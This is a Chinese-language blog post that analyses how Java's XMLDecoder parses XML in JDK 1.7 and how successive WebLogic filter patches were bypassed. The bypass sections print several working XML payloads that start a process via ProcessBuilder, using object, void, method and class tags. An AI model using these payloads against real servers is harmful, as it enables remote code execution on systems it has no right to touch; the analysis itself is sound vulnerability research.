XMLDecoder算是我跟过最复杂的反序列化链了,到了后边才知道自己跟的方式错了,我们应该只关注重点部分,而不是关注前边一些不算重点的初始化过程。为了不让别人跟我踩一样的坑,决定写下这篇文章来记录一些分析过程。

前言

之前写了一篇文章,大概是这样的:

image-20200702003524933.png
image-20200702003524933.png

里边有把XMLDecoder的一些问题给复现了,也知道了XMLDecoder的大致问题所在,但是并没有真正的去理解XMLDecoder三部曲(三步解析)具体做了什么事情,所以打算重新写一篇文章来完整的记录一下。正所谓知其所以然而不知其所以然,以下将从这几个角度去分析如何挖掘XMLDecoder反序列化的利用链:

  • 熟悉解析过程
  • 熟悉每个Handler
  • 调用栈之间的区别

本文针对的是JDK 1.7中的XMLDecoder进行分析,在JDK6中将XMLDecoder解析混在一个类里了,与JDK7稍有不同。

参考

本文中的PPT,大部分参考于:李方润《深度解析Weblogic_XMLDecoder反序列化》。这位大佬讲的特别好,我们可以从他的分享中提取出一些精华(满满的干货),这样也能方便我们去理解XMLDecoder反序列化原理,比较建议在了解XMLDecoder是个什么东西之后,先去看这位大佬的演讲,再来看这篇文章,我做的只是把他说的步骤跟了一遍并且总结了而已。

XMLEncoder & XMLDecoder

官方参考:

image-20200702014722222.png
image-20200702014722222.png

从官方参考中可以得出以下信息:

  • XMLDecoder与ObjectInputStream作用一致,都是用于还原对象
  • XMLEncoder生成的文本并非二进制,而是XML格式的文件。

从这上面的流程我们大概知道了XMLDecoder的 作用是什么,以及他解析的格式是什么,下边使用一个Demo帮助理解。

Demo

Encoder

User.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package XMLEncode;

public class User {
private String Name;
private String Sex;
private int Age;

public void setName(String name){
this.Name = name;
}

public void setSex(String sex) {
this.Sex = sex;
}

public void setAge(int age) {
this.Age = age;
}

public int getAge() {
return this.Age;
}

public String getSex() {
return this.Sex;
}

public String getName() {
return this.Name;
}

@Override
public String toString() {
return "User{" +
"Name='" + Name + '\'' +
", Sex='" + Sex + '\'' +
", Age=" + Age +
'}';
}

}

XML_Encode.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package XMLEncode;
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;

public class XML_Encode {
public static void main(String[] args) throws FileNotFoundException {
User user = new User();
user.setAge(18);
user.setName("liming");
user.setSex("boy");
XMLEncoder e = new XMLEncoder(
new BufferedOutputStream(
new FileOutputStream("User.xml")));
e.writeObject(user);
e.close();
}
}

运行Encoder.java,我们将获得一个xml文件,其中存储着序列化对象的相关信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_80" class="java.beans.XMLDecoder">
<object class="XMLEncode.User">
<void property="age">
<int>18</int>
</void>
<void property="name">
<string>liming</string>
</void>
<void property="sex">
<string>boy</string>
</void>
</object>
</java>

Decoder

XMLDecode.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package XMLEncode;

import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.lang.Runtime;

public class XMLDecode {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(
new BufferedInputStream(
new FileInputStream("User.xml")));
Object result = d.readObject();
d.close();
}
}

上述代码通过调用XMLDecoder#readObject来还原对象,在学习其解析流程之前,我们不妨先认识几个在解析中用到的关键类。

解析中用到的关键信息

ElementHandler-Class

在解析XML时用到了一个十分重要的类ElementHandler,他是所有ElementHandler的父类:

image-20200702110059196.png
image-20200702110059196.png

从上图中可以发现,XMLDecoder在解析xml标签时,用到了需要ElementHandler,而这些标签对应的Handler都继承了ElementHandler。所以这里可以清楚一个重要的概念,XMLDecoder解析XML还原Object依赖的是每个标签所对应的ElementHandler

解析三部曲

image-20200702110836173.png
image-20200702110836173.png

从上图中可以清楚的知道,XMLDecoder核心代码实际上都在DocumentHandler中,由DocumentHandler创建对应标签的Handler,再对这个Handler进行调用从而解析标签。这步发生在startElement。

characters:添加标签与下一个标签之间的文本

endElement:解析标签内容

com.sun.beans.decoder.DocumentHandler#startElement:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
ElementHandler var5 = this.handler;

try {
this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
this.handler.setOwner(this);
this.handler.setParent(var5);
} catch (Exception var10) {
throw new SAXException(var10);
}

for(int var6 = 0; var6 < var4.getLength(); ++var6) {
try {
String var7 = var4.getQName(var6);
String var8 = var4.getValue(var6);
this.handler.addAttribute(var7, var8);
} catch (RuntimeException var9) {
this.handleException(var9);
}
}

this.handler.startElement();
}

从上述代码中不难看出,startElement实际上做了这么几件事:

  • 创建了当前标签对应的handler
  • 为其设置parent属性(也就是父标签的handler)
  • 依次对当前标签中的属性调用当前标签对应handler的addAttribute方法进行处理,将属性名与属性值传进去。
  • 调用当前标签对应handler的startElement方法。

com.sun.beans.decoder.DocumentHandler#endelement:

1
2
3
4
5
6
7
8
9
10
public void endElement(String var1, String var2, String var3) {
try {
this.handler.endElement();
} catch (RuntimeException var8) {
this.handleException(var8);
} finally {
this.handler = this.handler.getParent();
}

}

endElement做了这么几件事:

  • 调用当前标签对应handler的endElement方法
  • 将当前handler设置为父标签的handler

com.sun.beans.decoder.DocumentHandler#characters:

1
2
3
4
5
6
7
8
9
10
11
12
public void characters(char[] var1, int var2, int var3) {
if (this.handler != null) {
try {
while(0 < var3--) {
this.handler.addCharacter(var1[var2++]);
}
} catch (RuntimeException var5) {
this.handleException(var5);
}
}

}

在characters方法中,判断当前handler是否为null,不为null则将当前标签与下一个开始或结束标签中的字符添加进去,此时调用的是addCharacter方法。

解析流程

在这章中,将会尝试对上面生成的User.xml进行还原,并分析其还原流程。XMLDecoder对XML的解析是按行进行解析的,也就是说他会递归的对XML中的每一行进行解析:

image-20200702111837118.png
image-20200702111837118.png

也就是对上面的14行进行解析,调用栈:

image-20200702111916488.png
image-20200702111916488.png

至于为什么会按行解析,这是在next方法中写好了的:

image-20200702111949144.png
image-20200702111949144.png

这块暂时先不管,上面了解到重点解析函数是startElement、characters、endElement,所以我们只需要在这三个地方下断点就好了。

startElement

在下边这几行会尝试获取当前标签对应的handler,并设置其parent属性为父标签的handler:

1
2
3
4
5
6
7
8
ElementHandler var5 = this.handler;
try {
this.handler = (ElementHandler)this.getElementHandler(var3).newInstance();
this.handler.setOwner(this);
this.handler.setParent(var5);
} catch (Exception var10) {
throw new SAXException(var10);
}

第一行解析的是java标签:<java version="1.7.0_80" class="java.beans.XMLDecoder">,此时对应的handler是JavaElementHandler。

接着会通过for循环遍历标签中的每一个属性,并将其添加到handler中:

1
2
3
4
5
6
7
8
9
for(int var6 = 0; var6 < var4.getLength(); ++var6) {
try {
String var7 = var4.getQName(var6);
String var8 = var4.getValue(var6);
this.handler.addAttribute(var7, var8);
} catch (RuntimeException var9) {
this.handleException(var9);
}
}

在java标签中一共有这么几个属性:version、class,看看handler是如何对其进行处理的:

JavaElementHandler#addAttribute

1
2
3
4
5
6
7
8
9
10
public void addAttribute(String var1, String var2) {
if (!var1.equals("version")) {
if (var1.equals("class")) {
this.type = this.getOwner().findClass(var2);
} else {
super.addAttribute(var1, var2);
}
}

}

在这里会判断你的属性是否为version,如果属性是version,则不进行任何操作,如果不是version,再进一步判断是否为class,如果是就将this.type修改为这个classs对应的Class对象。

image-20200702112734253.png
image-20200702112734253.png

到目前为止,startElement一共做了这么几件事:

  • 获取当前标签对应属性
  • 设置parent为父标签对应handler
  • 对当前标签中包含的属性调用当前标签handler的addAttribute方法进行处理。

他要做的最后一件事,就是调用当前标签对应handler的startElement方法,在第一行的JavaElementHandler中,由于JavaElementHanler并没有这个方法,所以会调用到其父类ElementHandler的startElement方法,这是个空方法:

image-20200702113219665.png
image-20200702113219665.png

至此,startElement标签做的事情已经解释完了,我们不难发现,其实他最重要的解析过程都不发生在DocumentHandler,而是发生在每个标签对应的handler中,这里实际上调用了这些标签对应handler的addAttribute方法以及startElement方法。

characters

在下边这几行代码中,会调用当前handler对应的characters方法:

1
2
3
4
5
6
7
8
9
if (this.handler != null) {
try {
while(0 < var3--) {
this.handler.addCharacter(var1[var2++]);
}
} catch (RuntimeException var5) {
this.handleException(var5);
}
}

此时会把当前标签与下一个标签(无论是开始或是结束)中的字符,依次作为参数传给addCharacter方法,目前解析的标签是java标签,而他与下一个标签中包含的内容有这些:

image-20200702113943195.png
image-20200702113943195.png

不难发现,这里有一个换行和一个空格,所以这里实际上也只会将换行和空格传到addCharacter方法,而JavaElementHandler并没有此方法,根据继承关系,会调用其父类的addCharacter方法:

image-20200702114046185
image-20200702114046185

在ElementHandler的addCharacter方法中,并没有做任何添加的操作,只是判断字符是否合法,也就是是否为空格、\n、\t、\r这几个字符,如果不是则抛出异常。

endElement

endElement只有在解析结束标签时才会调用到,也就是以</开头的标签,前面的几次我跳过了,直接到解析最后一个</object>标签。

1
2
3
4
5
6
7
8
9
10
public void endElement(String var1, String var2, String var3) {
try {
this.handler.endElement();
} catch (RuntimeException var8) {
this.handleException(var8);
} finally {
this.handler = this.handler.getParent();
}

}

在上述代码中可以发现,首先是调用了当前标签的endElement方法,此时对应的是ElementHandler的endElement方法:

image-20200702114422650.png
image-20200702114422650.png

在第一行中会调用getValueObject方法,其返回之前创建好的对象:

image-20200702114518724.png
image-20200702114518724.png

image-20200702114645387.png

再之后会调用其父标签的addArgument方法:

1
2
3
protected void addArgument(Object var1) {
this.getOwner().addObject(var1);
}

在addObject方法中,会将我们传入的Object添加到this.objects这个arraylist中:

1
2
3
void addObject(Object var1) {
this.objects.add(var1);
}
image-20200702114857219.png
image-20200702114857219.png

至此,整个大概的调用过程我们大概了解了,可能到这里你还不是特别清楚,是如何还原对象的,我只是大概的写了一下,将startElement、characters、endElement三个方法中会调用的方法都给写了一遍,而具体的操作,已经封装在对应handler的这几个方法中了。

总结一下这三个方法里会调用的方法:

1
2
3
4
startElementHandler->this.handler.addAttribute
startElementHandler->this.handler.startElement
characters->this.handler.addCharacter
endElement->this.handler.endElement

我们只需要从这些方法中,找到存在问题的方法即可,如果找不到,没关系,串起来就能找到了。

从解析流程探讨Weblogic几个历史补丁的绕过

这里的Level对应着Weblogic中对应的过滤,会根据上面所学到的知识对这几个补丁的绕过进行分析。

Level 0

在Level 0中,不存在任何的过滤,所以我们可以直接用最原始的payload去打:

1
2
3
4
5
6
7
8
9
10
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>

从上面的知识可能还不足以理解这个payload为什么可以触发漏洞,先解释下这个payload最终的调用类似于:

1
new java.lang.ProcessBuilder("calc").start()

在下断点调试的过程中可以得知,最终漏洞触发于这个标签:<void method="start"/>,接着回到上边写的解析三部曲,我们知道在解析时会调用这个标签对应handler的这些方法:

1
2
3
4
addAttribute
startElement
addCharacter
endElement

按顺序来,先看addAttribute:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void addAttribute(String var1, String var2) {
if (var1.equals("idref")) {
this.idref = var2;
} else if (var1.equals("field")) {
this.field = var2;
} else if (var1.equals("index")) {
this.index = Integer.valueOf(var2);
this.addArgument(this.index);
} else if (var1.equals("property")) {
this.property = var2;
} else if (var1.equals("method")) {
this.method = var2;
} else {
super.addAttribute(var1, var2);
}

}

这里会根据标签中对应的属性来对当前handler的一些属性进行赋值,此时的标签中包含method属性,再addAttribute方法中,会赋值到this.method中,也就是说此时的this.method=start

startElement:

1
2
3
4
5
6
public final void startElement() {
if (this.field != null || this.idref != null) {
this.getValueObject();
}

}

在这里会首先判断当前handler的field以及idref参数是否为空,如果不为空,则调用getValueObject方法,而这个为不为空在上一步addAttribute中已经决定了,void标签中并不包含field或者idref属性,所以这里都是为空的,相当于startElement什么都不会做。

addCharacter:

1
2
3
4
5
public void addCharacter(char var1) {
if (var1 != ' ' && var1 != '\n' && var1 != '\t' && var1 != '\r') {
throw new IllegalStateException("Illegal character with code " + var1);
}
}

由于VoidElementHandler并没有这个方法,所以会根据继承关系调用到ElementHandler的addCharacter方法,这里并没有做什么有意义的操作,跳过。

endElement:

在endElement中会触发start方法的调用,我将调用步骤分为获取对象->调用方法这两步。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public void endElement() {
ValueObject var1 = this.getValueObject();
if (!var1.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, var1.getValue());
}

if (this.isArgument()) {
if (this.parent != null) {
this.parent.addArgument(var1.getValue());
} else {
this.owner.addObject(var1.getValue());
}
}
}

同样的,因为VoidElementHandler并没有endElement这个方法,所以最终会调到ElementHandler的endElement方法。在第一行中调用了this.getValueObject方法,由于ElementHandler中的getValueObject是个抽象方法,所以由于继承关系,最终会调用到NewElementHandler中的getValueObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
protected final ValueObject getValueObject() {
if (this.arguments != null) {
try {
this.value = this.getValueObject(this.type, this.arguments.toArray());
} catch (Exception var5) {
this.getOwner().handleException(var5);
} finally {
this.arguments = null;
}
}

return this.value;
}

这里会调用getValueObject的有参方法,对应着ObjectElementHandler中的getValueObject:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
if (this.field != null) {
return ValueObjectImpl.create(FieldElementHandler.getFieldValue(this.getContextBean(), this.field));
} else if (this.idref != null) {
return ValueObjectImpl.create(this.getVariable(this.idref));
} else {
Object var3 = this.getContextBean();
String var4;
if (this.index != null) {
var4 = var2.length == 2 ? "set" : "get";
} else if (this.property != null) {
var4 = var2.length == 1 ? "set" : "get";
if (0 < this.property.length()) {
var4 = var4 + this.property.substring(0, 1).toUpperCase(Locale.ENGLISH) + this.property.substring(1);
}
} else {
var4 = this.method != null && 0 < this.method.length() ? this.method : "new";
}

Expression var5 = new Expression(var3, var4, var2);
return ValueObjectImpl.create(var5.getValue());
}
}

获取对象

在这里首先调用了getContextBean方法:

1
2
3
protected final Object getContextBean() {
return this.type != null ? this.type : super.getContextBean();
}

不难发现,这里首先会判断this.type是否为空,如果不为空,则直接返回this.type,反之返回super.getContextBean方法的结果,而在void标签的继承链中,并没有对this.type赋值的地方,所以这里会调用super.getContextBean方法:

ElementHandler#getContextBean

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected Object getContextBean() {
if (this.parent != null) {
ValueObject var2 = this.parent.getValueObject();
if (!var2.isVoid()) {
return var2.getValue();
} else {
throw new IllegalStateException("The outer element does not return value");
}
} else {
Object var1 = this.owner.getOwner();
if (var1 != null) {
return var1;
} else {
throw new IllegalStateException("The topmost element does not have context");
}
}
}

前面说了,this.parent存的是父标签的handler,此时对应ObjectElementHandler,在这调用了ObjectElementHandler#getValueObject方法来获取ValueObject对象,其中会存放着前面构造好的ProcessBuilder对象:

image-20200702132611475.png
image-20200702132611475.png

在这里又会调用一次getValueObject方法,此时可以回到上边的调用流程去看,我就不在这里在写一次了,此时由于前面的赋值,this.type为ProcessBuilder的Class对象,所以getContextBean会直接返回,之后通过Expression对象创建了这个对象的实例:

image-20200702132824261.png
image-20200702132824261.png

这个Expression类似于一个表达式,这里的表达式相当于new ProcessBuilder("calc"),此时对象已经创建完毕,我们回到最初的起点,也就是在endElement中调用的getValueObject:

image-20200702133050518.png
image-20200702133050518.png

在这里已经获取到了ProcessBuilder对象,之后就是其方法了。

调用方法

image-20200702133149161.png
image-20200702133149161.png

在下边会先获取this.method,前面说了,在addAttribute时,会对当前标签的属性进行解析,而我们传入的属性中有method这一项,在解析时会将其值赋给this.method,所以这里var4 = start

接着就和创建对象一样了,先是创建了一个表达式Expression对象,传入了几个参数var3、var4、var2,其中var3是上面获取到的对象,var4是this.method也就是start方法,var2为Object[0],本意这里可以传入调用这个方法时需要用的参数,此时用了Object[0]相当于不传参,只做一个占位的作用。

上面写获取对象的时候没写具体怎么获取的,我在这里写一下,Expression#getValue:

1
2
3
4
5
6
public Object getValue() throws Exception {
if (value == unbound) {
setValue(invoke());
}
return value;
}

此时会调用invoke方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Object invoke() throws Exception {
AccessControlContext acc = this.acc;
if ((acc == null) && (System.getSecurityManager() != null)) {
throw new SecurityException("AccessControlContext is not set");
}
try {
return AccessController.doPrivileged(
new PrivilegedExceptionAction<Object>() {
public Object run() throws Exception {
return invokeInternal();
}
},
acc
);
}
catch (PrivilegedActionException exception) {
throw exception.getException();
}
}

在invoke方法进行了权限判断之后,会调用invokeInternal方法,在invokeInternal方法中会调用传入的method,代码较长,我只截取关键部分。

1
2
3
4
5
6
m = getMethod(target.getClass(), methodName, argClasses); //获取Method对象
if (m != null) {
try {
if (m instanceof Method) {
return MethodUtil.invoke((Method)m, target, arguments); //通过反射调用method,并返回结果
}

具体是如何调用的,已经在上边用注释注明了,至此,Level 0的调用逻辑咱们理清楚了,接着看看Level 1。

Level 1

上边的Level 0毫无过滤,也正是Weblogic最初的模样,而Level 1中,将object标签给ban了,导致我们没有办法使用object标签,所以需要找到他的一个替代品。

void

void标签正是他的替代品之一,为什么这么说呢?先来看看void标签对应的VoidElementHandler的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.sun.beans.decoder;

final class VoidElementHandler extends ObjectElementHandler {
VoidElementHandler() {
}

protected boolean isArgument() {
return false;
}
}

我们不难发现,他其实就是一个空壳,当我们调用这个handler的方法时,由于继承的关系,除了isArgument的无参形式会调用VoidElementHandler#isArgument外,其它的其实都会调用ObjectElementHandler的对应方法,所以我们的POC可以修改成这样:

1
2
3
4
5
6
7
8
9
10
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</void>
</java>

new

在Level 0#获取对象这里说了,他会先尝试调用super.getContextBean,也就是ElementHandler#getContextBean,如果我们用new标签的话,在ElementHandler#getContextBean中会尝试调用父标签的getValueObject方法,也就是NewElementHandler#getValueObject:

image-20200702135401660.png
image-20200702135401660.png

在这里首先会回到VoidElementHandler,接着调用getContextBean的时候,由于this.type没赋值,所以会调用super.getValueObject,最终会来到这:

image-20200702161353942.png
image-20200702161353942.png

这里通过反射的方式获取了我们创建对象的实例,与void、object的Expression的方式其实相差无几。

既然是可以正常的获取到对象,而调用方法是VoidElementHandler的事情,那么自然可以绕过object标签的过滤。

Level 2

Level 2在Level1的基础上将new、method标签给过滤了,并且void标签下只允许存在index属性,array的class属性只能用byte,并且有长度限制(这个长度限制很大,可以忽略)。

至于为什么要ban method标签,如果细心的话,应该会发现上面的两个POC都没有用到method标签,然而我们其实可以稍微更改一下:

1
2
3
4
5
6
7
8
9
10
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<method name="start"/>
</void>
</java>

上边这个POC就用到了method标签,同样可以达到rce的目的,我猜,这应该也是为什么Weblogic要ban method标签的原因。

当然,我们的POC还可以进一步的变种:

1
2
3
4
5
6
7
8
9
10
11
<java>
<method class="java.lang.Class" name="forName">
<string>java.lang.ProcessBuilder</string>
<void>
<array class="java.lang.String">
<string>calc</string>
</array>
<void method="start"></void>
</void>
</method>
</java>

好了,扯远了。。从上面的结论我们不难发现,如果我们想要在void标签中创建一个对象,我们只需要让他的父标签返回这个对象的Class就行了:

image-20200702163423767.png
image-20200702163423767.png
在下边当method不存在时,会自动将method设置为new,从而创建对象,所以我们可以找一个在构造方法中存在漏洞的类来帮助我们绕过这次过滤。

先解决第一个问题,当上述标签都被禁用的情况下,我们如何能够让在调用getValueObject时,返回给我们一个ValueObject,其中包含着我们要使用的恶意类的Class对象呢?全局搜索一下getValueObject方法:

image-20200702164216124.png
image-20200702164216124.png
只有这么点类能够给我们使用:AccessorElementHandler、NullElementHandler、StringElementHandler、VarElementHandler,我们要做的就是在这些handler里找出可利用的点。

AccessorElementHandler

1
2
3
4
5
6
7
protected final ValueObject getValueObject() {
if (this.value == null) {
this.value = ValueObjectImpl.create(this.getValue(this.name));
}

return this.value;
}

如果此时this.getValue(this.name)返回给我们的是一个ProcessBuilder的Class对象,就代表我们能够利用此处,比较可惜的是这里我们无法利用,最终getValue实际上调用的是FieldElementHandler#getValue。其返回给我们的是一个Field对象:

image-20200702170551162.png
image-20200702170551162.png
image-20200702170600859.png
image-20200702170600859.png

NullElementHandler

image-20200702170640824.png
image-20200702170640824.png
这个就更离谱了,直接把他自身返回了,更加不可能利用了。

StringElementHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
protected final ValueObject getValueObject() {
if (this.sb != null) {
try {
this.value = ValueObjectImpl.create(this.getValue(this.sb.toString()));
} catch (RuntimeException var5) {
this.getOwner().handleException(var5);
} finally {
this.sb = null;
}
}

return this.value;
}

如果此时this.getValue方法返回给我们的是ProcessBuilder的Class对象,我们就能够利用,比较可惜的是,这里同样不行:

image-20200702170800685.png
image-20200702170800685.png

VarElementHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public void addAttribute(String var1, String var2) {
if (var1.equals("idref")) {
this.value = ValueObjectImpl.create(this.getVariable(var2));
} else {
super.addAttribute(var1, var2);
}

}

protected ValueObject getValueObject() {
if (this.value == null) {
throw new IllegalArgumentException("Variable name is not set");
} else {
return this.value;
}
}

这个类同样是无法直接利用的,需要一个链帮我们串起来,才”有可能”可以利用。

StringElementHandler + ClassElementHandler

柳岸花名又一村,单从直接调用看,上边的类都是无法利用的,但是大佬们找到了一个这样的继承关系:ClassElementHandler继承自StringElementHandler。

先看看StringElementHandler的getValueObject方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
protected final ValueObject getValueObject() {
if (this.sb != null) {
try {
this.value = ValueObjectImpl.create(this.getValue(this.sb.toString()));
} catch (RuntimeException var5) {
this.getOwner().handleException(var5);
} finally {
this.sb = null;
}
}

return this.value;
}

这里会调用getValue方法,如果我们的上层标签就是string的话,这里会直接调用StringElementHandler的getValue方法,但是ClassElementHandler中重写了这个方法:

image-20200702171351873.png
image-20200702171351873.png

很明显,作用是根据传入String参数获取其Class对象,那么我们可以这样写一个POC:

1
2
3
4
5
6
7
8
<java>
<class>java.lang.ProcessBuilder<void>
<array class="java.lang.String">
<string>calc</string>
</array>
</void>
</class>
</java>

此时this.sb就是java.lang.ProcessBuilder,下边的array标签是用作初始化时传递的参数,为什么这个void不能换行?这是因为ClassElementHandler标签继承自StringElementHandler,而如果我们换行了,this.sb就会变成java.lang.ProcessBuilder\n,此时则无法成功加载到类。

那么this.sb是哪里来的?这个前边说过了,对标签中文本的解析,是在DocumentHandler#characters方法中,此方法会调用ClassElementHandler#addCharacter:

1
2
3
4
5
6
7
public final void addCharacter(char var1) {
if (this.sb == null) {
throw new IllegalStateException("Could not add chararcter to evaluated string element");
} else {
this.sb.append(var1);
}
}

这也是为什么我们无法换行的根本原因,如果我们换行了,就会变成下面这样:

image-20200702171826478.png
image-20200702171826478.png

此时的POC,如果修改成我们上边void标签中可以带method属性的时候,是这样子的:

1
2
3
4
5
6
7
8
9
<java>
<class>java.lang.ProcessBuilder<void>
<array class="java.lang.String">
<string>calc</string>
</array>
<void method="start"></void>
</void>
</class>
</java>
image-20200702172012161.png
image-20200702172012161.png

但是此时void标签中只允许有index属性,并且我们的构造方法中只能传入byte字段,这导致我们没有办法调用方法,只能寻找构造方法中存在危险调用的类来攻击,并且这个类的构造方法接受的参数类型为byte。

下边是大佬总结的类:

image-20200702172608385.png
image-20200702172608385.png
image-20200702172616039.png
image-20200702172616039.png

Level 3

Level 3在上一层的基础上,又新增了class标签的过滤,这意味着我们已经无法直接创建类的对象了,但是这个时候大佬们又找了一个新的挖掘思路。即通过FieldElementHandler与PropertyElementHandler相结合,参考大佬的POC:

image-20200702180754881.png
image-20200702180754881.png

简单说一下原理吧,复现实在是太麻烦了,首先通过FieldElementHandler获取到com.bea.xbean.xb.xsdschema.RealGroup中的type字段,接着通过PropertyElementHandler调用该字段的getJavaClass方法:

image-20200702182614536.png
image-20200702182614536.png

通过Class.forName能够获得任意类的Class对象,接着就和前边一样了,通过构造方法进行调用,能挖到这个洞的师傅十分🐮。光这个jar包我就找了半天(不是原生jdk中的jar包)。

总结

其实从上边可以发现,XMLDecoder的反序列化以及补丁中的绕过,离不开endElement中对对象的还原,个人认为挖掘点可以从endElement开始,这里最终调用的是ElementHandler#endElement:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public void endElement() {
ValueObject var1 = this.getValueObject();
if (!var1.isVoid()) {
if (this.id != null) {
this.owner.setVariable(this.id, var1.getValue());
}

if (this.isArgument()) {
if (this.parent != null) {
this.parent.addArgument(var1.getValue());
} else {
this.owner.addObject(var1.getValue());
}
}
}

}

在这里会首先调用当前handler的getValueObject方法,所以如果想尝试挖掘利用链,可以从各个handler的getValueObject方法看起,注意不能忘记继承链的关系,XMLDecoder中的好多好多洞,都是由于继承链而产生的。

如果有什么总结的不对的地方,可以留言告诉我,我会对文章进行修正。